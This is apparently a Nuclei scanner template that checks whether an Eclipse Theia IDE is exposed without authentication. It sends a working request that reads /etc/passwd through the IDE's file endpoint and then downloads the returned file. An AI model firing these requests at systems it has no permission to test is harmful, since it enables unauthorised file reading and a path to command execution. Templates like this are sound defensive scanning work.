theia-lfi-to-rce: Eclipse Theia IDE - LFI to RCE

id: theia-lfi-to-rce

info:
  name: Eclipse Theia IDE - LFI to RCE
  author: 0x_Akoko
  severity: critical
  description: |
    Detected Eclipse Theia IDE was exposed without authentication, allowing unauthenticated attackers to access the web-based IDE with terminal capabilities, file system access, and arbitrary command execution.
  reference:
    - https://theia-ide.org/
  metadata:
    verified: true
    max-request: 2
  tags: theia,ide,lfi,file-read,unauth,rce,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /files/?uri=file:///etc/passwd HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /files/download/?id={{file_id}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: json
        name: file_id
        part: body
        internal: true
        json:
          - '.id'

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210085dc26757bbb5415c3cecd94d64a561faca3e8f7b9f42ecd8b902c00c1875ae6022100df9e694a53c71aeb77bd8a56ebf315058e9d42a6f9fbcc6db76a15d8ba10b241:922c64590222798bb761d5b6d8e72950

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